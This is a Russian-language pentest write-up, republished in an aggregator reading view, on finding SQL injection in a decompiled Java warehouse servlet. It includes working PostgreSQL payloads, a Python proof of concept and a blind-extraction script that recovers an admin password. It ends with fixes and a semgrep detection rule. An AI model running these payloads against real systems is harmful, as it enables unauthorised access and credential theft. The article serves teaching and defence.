InquirerPalace to Pia Cayetano on fear for her liberty: Is this paranoia? Don’t panicESPNCavaliers promote Weems to take over GM roleRTP DesportoUEFA e CONCACAF pedem dados à FIFA sobre projeto de privatizar MundiaisESPN Deportes¿Con un Joel Embiid saludable, los 76ers son imparables?Daily MaverickAGE OF ACCOUNTABILITY: Five criminal cases later, Ekurhuleni fires Julius MkhwanaziThe Jerusalem PostSaudi Aramco suspends European crude deliveries after East-West pipeline attack - reportוואלהבן 30 נפל מסוס באום אל פחם: מצבו קשהComplete Sports‘He Has To Go’ –Germany FA Tells InfantinoGlobal NewsOttawa mayoral candidate charged for alleged death threats against Sutcliffe, FordNOSAmerikaanse sancties raken vooral middenstand Iran: 'Geen mens kan dit volhouden'الشرقمعارك شمال كردفان.. الجيش السوداني يوسع انتشاره حول سودريWirtualna PolskaSypią się donosy. Kto w Polsce donosi najczęściej?
The Daily Newsstand · Free, Always
Friday, September 18, 2026

SQL-инъекция через декомпиляцию: от JAR-файла до захвата пароля

Translate

SQL‑инъекция через декомпиляцию: от JAR‑файла до захвата пароля

Материал носит образовательный характер. Все работы велись легально, в рамках пентеста, с письменного согласия владельца системы и в изолированном контуре. Название клиента и продукта не раскрываем — NDA. Имена классов, пакетов и таблиц в листингах изменены. Применяйте это только на системах, доступ к которым у вас есть. Доступ к чужим системам без разрешения преследуется по закону.

Корпоративная Java‑система: складской учет, веб‑интерфейс, HTTPS. Внутри — SQL‑инъекция без аутентификации в одном GET‑запросе, из‑за строки «... WHERE ID=» + параметр.

Разберем, как найти такую в приложении без исходников: декомпиляция JAR → чтение сервлетов → уязвимая строка → подтверждение через pg_sleep. Каждый шаг воспроизводим.

Почему анализ кода

Инъекцию можно нащупать и перебором снаружи. Но если есть доступ к артефактам приложения (для системы в своей же инфраструктуре они почти всегда есть), чтение кода дает больше:

· точную причину — конкретную строку, а не «где‑то здесь ломается»;

· все параметры и ветвления if/else сразу — не нужно угадывать;

· контекст — видна СУБД, рабочий синтаксис и способ фикса.

Не замена динамическому тестированию, но разобраться в баге до конца — минуты вместо сотен запросов.

Что за приложение

Цель, без названия:

· Java-приложение на встроенном Jetty, HTTPS, порт 8443;

· бэкенд — PostgreSQL;

· код в JAR-библиотеках в WEB-INF\lib;

· внутри — сервлеты и web.xml, ORM нет, SQL пишется руками.

Типичный Java-монолит из времен, когда PreparedStatement считался излишеством.

Инструменты

· JD-GUI — декомпиляция .jar/.class в читаемый Java-код.

· Notepad++ (или ripgrep/VS Code) — поиск по дереву исходников регулярками.

·  Python 3 + requests — PoC.

· curl — отправить запрос руками.

JD-GUI — за скорость и пункт File → Save All Sources, который выгружает JAR в дерево .java-файлов. Для обфусцированных сборок лучше CFR или Procyon; здесь обфускации нет.

Декомпиляция восстанавливает исходник из байткода. Java компилируется в .class с сохранением имен методов, полей и структуры классов, поэтому результат близок к оригиналу — теряются в основном комментарии и локальные переменные. Для чтения логики этого достаточно.

Шаг 1. Достаем исходники

В WEB‑INF\lib лежат JAR‑ы приложения вперемешку со сторонними зависимостями. Нужны только JAR приложения. Отличаем их по имени вендора: наши — acme‑wms‑*, все остальное (postgresql‑*, commons‑*, ‑slf4j‑) — библиотеки, их пропускаем. На размер не смотрим: у компактного приложения его же JAR‑ы бывают меньше сторонних.

WEB‑INF\lib\
├─ acme‑wms‑core.jar <‑ ядро приложения (наш вендор)
├─ acme‑wms‑web.jar <‑ сервлеты и веб‑слой <‑ сюда
├─ acme‑wms‑reporting.jar <‑ отчеты
├─ postgresql-42.7.11.jar (сторонняя, пропускаем)
├─ commons‑lang3-3.20.0.jar (сторонняя, пропускаем)
├─ commons‑io-2.22.0.jar (сторонняя, пропускаем)
└─ ...  (slf4j и прочие)

Открываем acme-wms-web.jar в JD-GUI → File → Save All Sources → распаковываем архив. Исходники есть.

Шаг 2. Ищем SQL в коде

Грепнуть SQL по всему коду:

^.*?select.*?from.*?$
^.*?query.*?select.*?

Тысячи совпадений в сотнях файлов - если проект большой, анализ может занимать несколько часов.

Find in Files в Notepad++: результат поиска.

Find in Files в Notepad++: результат поиска.

Сужаем до сервлетов

Сервлет — Java-класс, который обрабатывает HTTP-запрос. GET уходит в метод doGet, POST — в doPost, и так далее. Именно там приложение впервые касается данных из запроса, так что уязвимость почти всегда начинается в одном из этих методов. Ищем по ним:

doGet
doPost
doPut
doDelete

Сужаем по регулярке do(Get|Post|Put|Delete). Среди сервлетов — ReportExportServlet.java. Экспорт отчетов = выборка из БД по пользовательским фильтрам, параметры едут прямо в SQL. Открываем.

Поиск по doGet: среди результатов — ReportExportServlet.java.

Поиск по doGet: среди результатов — ReportExportServlet.java.

Шаг 3. Читаем сервлет

Точки входа

Сигнатуры обработчиков:

doPost делегирует в doGet — атаковать можно и GET, и POST.

doPost делегирует в doGet — атаковать можно и GET, и POST.

Сам doGet:

public void doGet(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    response.setContentType("text/html; charset=UTF-8");
    PrintWriter out = response.getWriter();

    String fullExport = request.getParameter("fullExport");
    if ((fullExport != null) && ("true".equals(fullExport))) {
        exportFullCatalog(out);
        return;
    }

    String minQty = request.getParameter("minQty");
    String warehouseId = request.getParameter("warehouseId");
    String includeArchived = request.getParameter("includeArchived");

    if ((includeArchived != null) && ("true".equals(includeArchived))) {
        boolean archived = AccessUtil.hasArchiveAccess(warehouseId);
        out.println(archived);
    } else if (minQty != null) {
        if ((warehouseId != null) && (!"".equals(warehouseId))) {
            exportStockByWarehouse(warehouseId, minQty, out);   // <-- сюда
        } else {
            exportAllStock(minQty, out);
        }
    } else {
        out.println("missing parameters");
    }
}

Параметры и ветвление

Параметры, которые читает сервлет: fullExport, minQty, warehouseId, includeArchived. Ветвление:

· fullExport=true → exportFullCatalog и return. Мимо.

· includeArchived=true → проверка доступа. Мимо.

· иначе, если задан minQty и непустой warehouseId → exportStockByWarehouse(warehouseId, minQty, out). Сюда.

Вход в нужную ветку: fullExport и includeArchived не передаем, minQty и warehouseId — непустыми.

doPost вызывает doGet — обе точки входа ведут к одной логике.

doPost вызывает doGet — обе точки входа ведут к одной логике.

Шаг 4. Находим инъекцию

public void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) {
    int min = Integer.parseInt(minQty);
    String qry = "select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID="
            + paramString1 + " and QTY > " + min;
    ...
    Statement st = ConnectionPool.getConnection().createStatement();
    ResultSet rs = st.executeQuery(qry);
    ...
}

· minQty проходит через Integer.parseInt(...) — не‑число дает NumberFormatException еще до запроса. Как вектор бесполезен.

· warehouseId (paramString1) подставляется в запрос как есть: без экранирования, без PreparedStatement, без приведения к числу.

· Запрос выполняется через Statement.executeQuery(qry) — база получает строку буквально.

warehouseId уязвим к SQL-инъекции. Контекст числовой: значение подставляется без кавычек (WAREHOUSE_ID=1, а не ='1'). Значит, не нужно ничего закрывать или экранировать — мы уже вне строкового литерала и можем сразу дописывать свой SQL. СУБД — PostgreSQL.

Строка "... WHERE WAREHOUSE_ID=" + paramString1 — конкатенация ввода в SQL.

Строка "... WHERE WAREHOUSE_ID=" + paramString1 — конкатенация ввода в SQL.

Шаг 5. Восстанавливаем URL

Класс — не адрес. По какому URL сервлет доступен снаружи? Соответствие «класс → URL» задается в дескрипторе развертывания WEB-INF/web.xml: блок <servlet> дает классу имя, <servlet-mapping> привязывает это имя к пути. Грепаем по имени класса:

<servlet>
    <servlet-name>ReportExportServlet</servlet-name>
    <servlet-class>com.acme.wms.servlets.ReportExportServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>ReportExportServlet</servlet-name>
    <url-pattern>/servlet/ReportExportServlet</url-pattern>
</servlet-mapping>

url-pattern: /servlet/ReportExportServlet.

web.xml связывает класс сервлета с публичным URL.

web.xml связывает класс сервлета с публичным URL.

Минимальный запрос в уязвимую ветку:

https://<target>:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1

Соберет SQL:

select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1

warehouseId — точка входа.

Шаг 6. Подтверждаем

Проверка вручную

Руками, с разделителем запросов ; в warehouseId:

curl 'https://192.168.56.20:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1;' -k -i

Символ ; завершает один SQL-оператор и начинает следующий (стек-запрос). JDBC-драйвер PostgreSQL по умолчанию разрешает несколько операторов в одном вызове — этим мы и воспользуемся. При включенном [C1] debug-логе в логах приложения появится собранный запрос, а в логе PostgreSQL — синтаксическая ошибка. Ввод долетает до парсера SQL.

Перебор нагрузок

Нагрузки (PostgreSQL, числовой контекст):

Нагрузка (в warehouseId)

Идея

Итог

1 ORDER BY 1--

число колонок

зависит

1 UNION SELECT 1

классический UNION

не сработает

1 UNION SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END

boolean-based

не сработает

1;select pg_sleep(10)--

time-based blind

работает

UNION не проходит: число и типы колонок должны совпадать с основным запросом. Тот возвращает distinct(SKU) (varchar), а SELECT 1 — integer. Postgres отвечает UNION types integer and character varying cannot be matched. Приведение типов (SELECT NULL::text) помогло бы, но для подтверждения факта лишнее.

Time-based срабатывает. pg_sleep(10) — функция PostgreSQL, которая просто ждет заданное число секунд. Прием удобен тем, что не требует данных в ответе: если запрос выполнился, сервер отвечает на 10 секунд дольше — и это уже сигнал «да». Так проверяют инъекцию вслепую, когда результат на страницу не выводится.

Одна деталь: после warehouseId в запрос дописывается хвост  and QTY > 1. Если оставить нагрузку голой, он прилипнет к pg_sleep (select pg_sleep(10) and QTY > 1) и запрос упадет на анализе еще до выполнения — задержки не будет. Поэтому хвост гасим комментарием --. Наш стек-запрос ;select pg_sleep(10)-- дает ровно такую задержку:

select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)-- and QTY > 1

PoC на Python

#!/usr/bin/env python3
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    if len(sys.argv) != 2:
        print("usage: %s <target>" % sys.argv[0])
        sys.exit(1)

    target = sys.argv[1]
    payload = ";select pg_sleep(10)--"       # time-based blind, -- гасит хвост запроса

    url = "

https://%s:8443/servlet/ReportExportServlet" % target
    params = {"minQty": "1", "warehouseId": "1%s" % payload}

    r = requests.get(url, params=params, verify=False, timeout=30)
    print("status:  %s" % r.status_code)
    print("elapsed: %.2fs" %

r.elapsed.total_seconds())   # ~10s => подтверждено

if name == "__main__":
    main()

Запуск:

$ python3 sql.py 192.168.56.20
status:  200
elapsed: 10.31s

elapsed ≈ 10 с — сервер выполнил pg_sleep(10). Инъекция подтверждена.

Ответ пришел через ~10 секунд — pg_sleep отработал.

Ответ пришел через ~10 секунд — pg_sleep отработал.

Подтверждение в логах

Подтверждение на стороне сервера — лог PostgreSQL. Стек-запрос разбит на два оператора: первый — штатная выборка, второй — наш pg_sleep(10), а хвост  and QTY > 1 съеден комментарием --:

LOG:  execute <unnamed>: select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1
LOG:  execute <unnamed>: select pg_sleep(10)-- and QTY > 1

Лог PostgreSQL: выполнение pg_sleep(10).

Лог PostgreSQL: выполнение pg_sleep(10).

От blind к дампу

Задержка доказывает инъекцию, но сама по себе выглядит безобидно: запрос повисел десять секунд, и только. Покажем, что за задержкой стоят реальные данные.

Сервлет ошибки прячет: catch логирует их, но в ответ не отдает. Значит, идем полностью вслепую и вытягиваем данные по одному биту тем же приемом с задержкой: истинное условие добавляет pg_sleep, и ответ приходит дольше.

Пробник по первому символу пароля из служебной таблицы APP_USERS:

1 and ascii(substr((select password from APP_USERS limit 1),1,1)) > 77 and pg_sleep(1) is not null--

Ответ дольше 1 секунд → код первого символа больше 77. Бинарным поиском по каждой позиции восстанавливаем строку целиком:

import requests, time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "

https://127.0.0.1:8443/servlet/ReportExportServlet"

def truthy(cond, delay=1):
    wid = "1 and (%s) and pg_sleep(%d) is not null--" % (cond, delay)
    t = time.time()
    requests.get(URL, params={"minQty": "1", "warehouseId": wid}, verify=False)
    return time.time() - t > delay

sub = "(select password from APP_USERS where username='admin')"
out = ""
for pos in range(1, 14):
    lo, hi = 32, 126
    while lo < hi:    
        mid = (lo + hi) // 2
        if truthy("ascii(substr(%s,%d,1)) > %d" % (sub, pos, mid)):
            lo = mid + 1
        else:
            hi = mid
    out += chr(lo)
    print("pos %2d -> %r" % (pos, out))
print("password:", out)

Пароль вытекает по символу:

$ python3 dump.py
pos  1 -> 'S'
pos  2 -> 'S3'
...
pos 13 -> 'S3cr3t-Adm1n!'
password: S3cr3t-Adm1n!

Пароль админа, извлеченный вслепую по одному символу через задержку.

Пароль админа, извлеченный вслепую по одному символу через задержку.

Если приложение возвращает ошибку БД (частый случай — незакрытый stack trace или сообщение об ошибке в ответе), тот же результат достается одним запросом. Приведение строки к int роняет запрос, а PostgreSQL кладет само значение в текст ошибки:

curl -sk --data-urlencode 'minQty=1' \
  --data-urlencode "warehouseId=1 and 1=cast((select password from APP_USERS where username='admin') as int)--" \
  -G 'https://<target>:8443/servlet/ReportExportServlet'
# export failed: ERROR: invalid input syntax for type integer: "S3cr3t-Adm1n!"

Пароль админа, извлеченный по выводу Error.

Пароль админа, извлеченный по выводу Error.

Вот и вся дистанция от «запрос висит 10 секунд» до пароля администратора в открытом виде.

Чтобы выполнить проверку привилегий на суперпользователя можно воспользоваться полезной нагрузкой:

;SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+

Проверка привилегий, is_superuser=off.

Проверка привилегий, is_superuser=off.

Что это дает

Через warehouseId — произвольное исполнение SQL от имени учетки приложения. Дальше зависит от ее прав и настроек Postgres:

· чтение любых таблиц — тем же time‑based приемом, что показан выше, либо через UNION с приведением типов;

· запись — раз стек‑запросы проходят, INSERT/UPDATE/DELETE тоже доступны;

· при избыточных привилегиях роли — чтение файлов с сервера (pg_read_file) и запуск команд ОС (COPY... FROM PROGRAM), а это уже прямой путь к RCE.

Как чинить

Корень — конкатенация недоверенного ввода в SQL. Лечится параметризацией.

Было:

String qry = "select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID="
        + warehouseId + " and QTY > " + min;
ResultSet rs = st.executeQuery(qry);

Стало:

String qry = "select distinct(SKU) from WMS_STOCK_ITEMS "
        + "where WAREHOUSE_ID = ? and QTY > ?";
try (PreparedStatement ps = ConnectionPool.getConnection().prepareStatement(qry)) {
    ps.setInt(1, Integer.parseInt(warehouseId));
    ps.setInt(2, min);
    try (ResultSet rs = ps.executeQuery()) {
        while (
rs.next()) {
            out.println(rs.getString("SKU"));
        }
    }
}

По эшелонам:

1. Только PreparedStatement или ORM со связанными параметрами. Никакой склейки ввода с SQL.

2. Валидация типов на входе. warehouseId — число, значит Integer.parseInt до любого похода в базу.

3. Наименьшие привилегии для роли БД. Учетке приложения не нужны COPY FROM PROGRAM, чтение файлов и системные таблицы.

4. Отключить многооператорные запросы, если слой доступа позволяет — стек‑запросы через; теряют половину силы.

5. Статический анализ в CI. Semgrep или CodeQL ловят «строка SQL + конкатенация переменной» на ревью.

6. WAF — временная мера, не замена фикса.

Найти это грепом

Весь класс бага — это SQL-строка, склеенная с переменной. Такое ищется за десять секунд еще до пентеста.

Грубый, но рабочий фильтр по репозиторию (ripgrep, многострочный режим):

rg -U -i 'select[^"]*"\s*\+' --type java

Точнее — правило semgrep, которое ловит поток от getParameter в Statement (taint):

rules:
  - id: jdbc-sqli-concat
    languages: [java]
    severity: ERROR
    message: SQL-строка склеена с недоверенными данными — используйте PreparedStatement
    mode: taint
    pattern-sources:
      - pattern: (HttpServletRequest $R).getParameter(...)
    pattern-sinks:
      - pattern: (Statement $S).executeQuery(...)
      - pattern: (Statement $S).execute(...)

Одно такое правило в CI ловит весь класс до прода — и warehouseId, и любой следующий параметр, который кто-нибудь склеит в запрос на автопилоте.

Коротко

Пятнадцать минут чтения кода — и есть полная картина: какой параметр, в каком контексте, за какими условиями, в какой базе. Дальше — короткий запрос и понятный фикс.

Инъекции редко прячутся в экзотике. Обычно это скучная строка, написанная на автопилоте. Цена вопроса — один PreparedStatement.

View the original on Хабр

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.